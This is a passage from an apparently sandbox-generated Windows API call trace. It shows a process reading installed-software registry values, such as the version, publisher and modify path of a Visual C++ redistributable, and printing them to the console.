lpUsedDefaultChar=0x0) returned 1 [0150.726] GetConsoleOutputCP () returned 0x1b5 [0150.726] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.726] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.726] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.727] GetProcessHeap () returned 0x3c0000 [0150.727] GetProcessHeap () returned 0x3c0000 [0150.727] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830) returned 1 [0150.727] GetProcessHeap () returned 0x3c0000 [0150.727] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3db830) returned 0x7e [0150.727] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830 | out: hHeap=0x3c0000) returned 1 [0150.727] RegEnumValueW (in: hKey=0x5c, dwIndex=0xb, lpValueName=0x3d78d0, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayVersion", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.727] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayVersion", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x1c) returned 0x0 [0150.727] GetProcessHeap () returned 0x3c0000 [0150.727] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x1e) returned 0x3d5c30 [0150.727] GetProcessHeap () returned 0x3c0000 [0150.727] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5c30) returned 1 [0150.727] GetProcessHeap () returned 0x3c0000 [0150.727] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d5c30) returned 0x1e [0150.727] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayVersion", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3d5c30, pcbData=0x29f780*=0x1c | out: pdwType=0x29f700*=0x1, pvData="11.0.61030.0", pcbData=0x29f780*=0x1a) returned 0x0 [0150.727] __iob_func () returned 0x7fefd702a80 [0150.727] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.727] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.727] _fileno (_File=0x7fefd702ab0) returned 1 [0150.727] _errno () returned 0x204bb0 [0150.727] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.727] _errno () returned 0x204bb0 [0150.727] GetFileType (hFile=0x50) returned 0x1 [0150.727] lstrlenW (lpString=" ") returned 4 [0150.727] GetConsoleOutputCP () returned 0x1b5 [0150.727] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.727] GetConsoleOutputCP () returned 0x1b5 [0150.728] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.728] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.728] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.728] lstrlenW (lpString="DisplayVersion") returned 14 [0150.728] __iob_func () returned 0x7fefd702a80 [0150.728] _fileno (_File=0x7fefd702ab0) returned 1 [0150.728] _errno () returned 0x204bb0 [0150.728] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.728] _errno () returned 0x204bb0 [0150.728] GetFileType (hFile=0x50) returned 0x1 [0150.728] lstrlenW (lpString="DisplayVersion") returned 14 [0150.728] GetConsoleOutputCP () returned 0x1b5 [0150.728] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayVersion", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0150.728] GetConsoleOutputCP () returned 0x1b5 [0150.728] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayVersion", cchWideChar=14, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayVersion", lpUsedDefaultChar=0x0) returned 14 [0150.728] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 14 [0150.728] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.728] __iob_func () returned 0x7fefd702a80 [0150.728] _fileno (_File=0x7fefd702ab0) returned 1 [0150.728] _errno () returned 0x204bb0 [0150.728] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.728] _errno () returned 0x204bb0 [0150.728] GetFileType (hFile=0x50) returned 0x1 [0150.728] lstrlenW (lpString=" ") returned 4 [0150.729] GetConsoleOutputCP () returned 0x1b5 [0150.729] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.729] GetConsoleOutputCP () returned 0x1b5 [0150.729] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.729] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.729] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.729] __iob_func () returned 0x7fefd702a80 [0150.729] _fileno (_File=0x7fefd702ab0) returned 1 [0150.729] _errno () returned 0x204bb0 [0150.729] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.729] _errno () returned 0x204bb0 [0150.729] GetFileType (hFile=0x50) returned 0x1 [0150.729] lstrlenW (lpString="REG_SZ") returned 6 [0150.729] GetConsoleOutputCP () returned 0x1b5 [0150.729] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0150.729] GetConsoleOutputCP () returned 0x1b5 [0150.729] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0150.729] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0150.729] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.730] __iob_func () returned 0x7fefd702a80 [0150.730] _fileno (_File=0x7fefd702ab0) returned 1 [0150.730] _errno () returned 0x204bb0 [0150.730] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.730] _errno () returned 0x204bb0 [0150.730] GetFileType (hFile=0x50) returned 0x1 [0150.730] lstrlenW (lpString=" ") returned 4 [0150.730] GetConsoleOutputCP () returned 0x1b5 [0150.730] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.730] GetConsoleOutputCP () returned 0x1b5 [0150.730] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.730] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.730] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.730] __iob_func () returned 0x7fefd702a80 [0150.730] _fileno (_File=0x7fefd702ab0) returned 1 [0150.730] _errno () returned 0x204bb0 [0150.730] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.730] _errno () returned 0x204bb0 [0150.730] GetFileType (hFile=0x50) returned 0x1 [0150.730] lstrlenW (lpString="11.0.61030.0") returned 12 [0150.730] GetConsoleOutputCP () returned 0x1b5 [0150.730] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="11.0.61030.0", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0150.730] GetConsoleOutputCP () returned 0x1b5 [0150.731] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="11.0.61030.0", cchWideChar=12, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="11.0.61030.0", lpUsedDefaultChar=0x0) returned 12 [0150.731] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 12 [0150.731] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.731] __iob_func () returned 0x7fefd702a80 [0150.731] _fileno (_File=0x7fefd702ab0) returned 1 [0150.731] _errno () returned 0x204bb0 [0150.731] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.731] _errno () returned 0x204bb0 [0150.731] GetFileType (hFile=0x50) returned 0x1 [0150.731] lstrlenW (lpString="\n") returned 1 [0150.731] GetConsoleOutputCP () returned 0x1b5 [0150.731] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.731] GetConsoleOutputCP () returned 0x1b5 [0150.731] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.731] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.731] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.731] GetProcessHeap () returned 0x3c0000 [0150.731] GetProcessHeap () returned 0x3c0000 [0150.731] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5c30) returned 1 [0150.731] GetProcessHeap () returned 0x3c0000 [0150.731] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d5c30) returned 0x1e [0150.731] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5c30 | out: hHeap=0x3c0000) returned 1 [0150.731] RegEnumValueW (in: hKey=0x5c, dwIndex=0xc, lpValueName=0x3d78d0, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Publisher", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.731] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Publisher", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x2e) returned 0x0 [0150.732] GetProcessHeap () returned 0x3c0000 [0150.732] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x30) returned 0x3d7910 [0150.732] GetProcessHeap () returned 0x3c0000 [0150.732] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d7910) returned 1 [0150.732] GetProcessHeap () returned 0x3c0000 [0150.732] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d7910) returned 0x30 [0150.732] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Publisher", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3d7910, pcbData=0x29f780*=0x2e | out: pdwType=0x29f700*=0x1, pvData="Microsoft Corporation", pcbData=0x29f780*=0x2c) returned 0x0 [0150.732] __iob_func () returned 0x7fefd702a80 [0150.732] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.732] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.732] _fileno (_File=0x7fefd702ab0) returned 1 [0150.732] _errno () returned 0x204bb0 [0150.732] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.732] _errno () returned 0x204bb0 [0150.732] GetFileType (hFile=0x50) returned 0x1 [0150.732] lstrlenW (lpString=" ") returned 4 [0150.732] GetConsoleOutputCP () returned 0x1b5 [0150.732] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.732] GetConsoleOutputCP () returned 0x1b5 [0150.732] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.732] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.732] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.732] lstrlenW (lpString="Publisher") returned 9 [0150.732] __iob_func () returned 0x7fefd702a80 [0150.732] _fileno (_File=0x7fefd702ab0) returned 1 [0150.732] _errno () returned 0x204bb0 [0150.732] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.732] _errno () returned 0x204bb0 [0150.733] GetFileType (hFile=0x50) returned 0x1 [0150.733] lstrlenW (lpString="Publisher") returned 9 [0150.733] GetConsoleOutputCP () returned 0x1b5 [0150.733] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Publisher", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0150.733] GetConsoleOutputCP () returned 0x1b5 [0150.733] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Publisher", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Publisher", lpUsedDefaultChar=0x0) returned 9 [0150.733] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0150.733] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.733] __iob_func () returned 0x7fefd702a80 [0150.733] _fileno (_File=0x7fefd702ab0) returned 1 [0150.733] _errno () returned 0x204bb0 [0150.733] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.733] _errno () returned 0x204bb0 [0150.733] GetFileType (hFile=0x50) returned 0x1 [0150.733] lstrlenW (lpString=" ") returned 4 [0150.733] GetConsoleOutputCP () returned 0x1b5 [0150.733] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.733] GetConsoleOutputCP () returned 0x1b5 [0150.733] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.733] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.734] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.734] __iob_func () returned 0x7fefd702a80 [0150.734] _fileno (_File=0x7fefd702ab0) returned 1 [0150.734] _errno () returned 0x204bb0 [0150.734] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.734] _errno () returned 0x204bb0 [0150.734] GetFileType (hFile=0x50) returned 0x1 [0150.734] lstrlenW (lpString="REG_SZ") returned 6 [0150.734] GetConsoleOutputCP () returned 0x1b5 [0150.734] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0150.734] GetConsoleOutputCP () returned 0x1b5 [0150.734] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0150.734] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0150.734] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.734] __iob_func () returned 0x7fefd702a80 [0150.734] _fileno (_File=0x7fefd702ab0) returned 1 [0150.734] _errno () returned 0x204bb0 [0150.734] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.734] _errno () returned 0x204bb0 [0150.734] GetFileType (hFile=0x50) returned 0x1 [0150.734] lstrlenW (lpString=" ") returned 4 [0150.734] GetConsoleOutputCP () returned 0x1b5 [0150.735] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.735] GetConsoleOutputCP () returned 0x1b5 [0150.735] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.735] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.735] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.735] __iob_func () returned 0x7fefd702a80 [0150.735] _fileno (_File=0x7fefd702ab0) returned 1 [0150.735] _errno () returned 0x204bb0 [0150.735] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.735] _errno () returned 0x204bb0 [0150.735] GetFileType (hFile=0x50) returned 0x1 [0150.735] lstrlenW (lpString="Microsoft Corporation") returned 21 [0150.735] GetConsoleOutputCP () returned 0x1b5 [0150.735] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Corporation", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0150.735] GetConsoleOutputCP () returned 0x1b5 [0150.735] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Corporation", cchWideChar=21, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft Corporation", lpUsedDefaultChar=0x0) returned 21 [0150.735] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 21 [0150.735] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.735] __iob_func () returned 0x7fefd702a80 [0150.735] _fileno (_File=0x7fefd702ab0) returned 1 [0150.735] _errno () returned 0x204bb0 [0150.735] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.735] _errno () returned 0x204bb0 [0150.735] GetFileType (hFile=0x50) returned 0x1 [0150.736] lstrlenW (lpString="\n") returned 1 [0150.736] GetConsoleOutputCP () returned 0x1b5 [0150.736] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.736] GetConsoleOutputCP () returned 0x1b5 [0150.736] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.736] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.736] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.736] GetProcessHeap () returned 0x3c0000 [0150.736] GetProcessHeap () returned 0x3c0000 [0150.736] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d7910) returned 1 [0150.736] GetProcessHeap () returned 0x3c0000 [0150.736] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d7910) returned 0x30 [0150.736] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d7910 | out: hHeap=0x3c0000) returned 1 [0150.736] RegEnumValueW (in: hKey=0x5c, dwIndex=0xd, lpValueName=0x3d78d0, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="ModifyPath", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.736] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="ModifyPath", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0xc0) returned 0x0 [0150.736] GetProcessHeap () returned 0x3c0000 [0150.736] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0xc2) returned 0x3e1c70 [0150.736] GetProcessHeap () returned 0x3c0000 [0150.736] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3e1c70) returned 1 [0150.736] GetProcessHeap () returned 0x3c0000 [0150.736] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3e1c70) returned 0xc2 [0150.736] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="ModifyPath", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3e1c70, pcbData=0x29f780*=0xc0 | out: pdwType=0x29f700*=0x1, pvData="\"C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\vcredist_x64.exe\" /modify", pcbData=0x29f780*=0xbe) returned 0x0 [0150.736] __iob_func () returned 0x7fefd702a80 [0150.736] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.736] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.736] _fileno (_File=0x7fefd702ab0) returned 1 [0150.737] _errno () returned 0x204bb0 [0150.737] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.737] _errno () returned 0x204bb0 [0150.737] GetFileType (hFile=0x50) returned 0x1 [0150.737] lstrlenW (lpString=" ") returned 4 [0150.737] GetConsoleOutputCP () returned 0x1b5 [0150.737] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.737] GetConsoleOutputCP () returned 0x1b5 [0150.737] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.737] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.737] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.737] lstrlenW (lpString="ModifyPath") returned 10 [0150.737] __iob_func () returned 0x7fefd702a80 [0150.737] _fileno (_File=0x7fefd702ab0) returned 1 [0150.737] _errno () returned 0x204bb0 [0150.737] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.737] _errno () returned 0x204bb0 [0150.737] GetFileType (hFile=0x50) returned 0x1 [0150.737] lstrlenW (lpString="ModifyPath") returned 10 [0150.737] GetConsoleOutputCP () returned 0x1b5 [0150.737] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="ModifyPath", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0150.737] GetConsoleOutputCP () returned 0x1b5 [0150.738] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="ModifyPath", cchWideChar=10, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ModifyPath", lpUsedDefaultChar=0x0) returned 10 [0150.738] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 10 [0150.738] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.738] __iob_func () returned 0x7fefd702a80 [0150.738] _fileno (_File=0x7fefd702ab0) returned 1 [0150.738] _errno () returned 0x204bb0 [0150.738] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.738] _errno () returned 0x204bb0 [0150.738] GetFileType (hFile=0x50) returned 0x1 [0150.738] lstrlenW (lpString=" ") returned 4 [0150.738] GetConsoleOutputCP () returned 0x1b5 [0150.738] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.738] GetConsoleOutputCP () returned 0x1b5 [0150.738] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.738] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.738] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.738] __iob_func () returned 0x7fefd702a80 [0150.738] _fileno (_File=0x7fefd702ab0) returned 1 [0150.738] _errno () returned 0x204bb0 [0150.738] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.738] _errno () returned 0x204bb0 [0150.738] GetFileType (hFile=0x50) returned 0x1 [0150.738] lstrlenW (lpString="REG_SZ") returned 6 [0150.738] GetConsoleOutputCP () returned 0x1b5 [0150.739] WideCharToMultiByte (in: 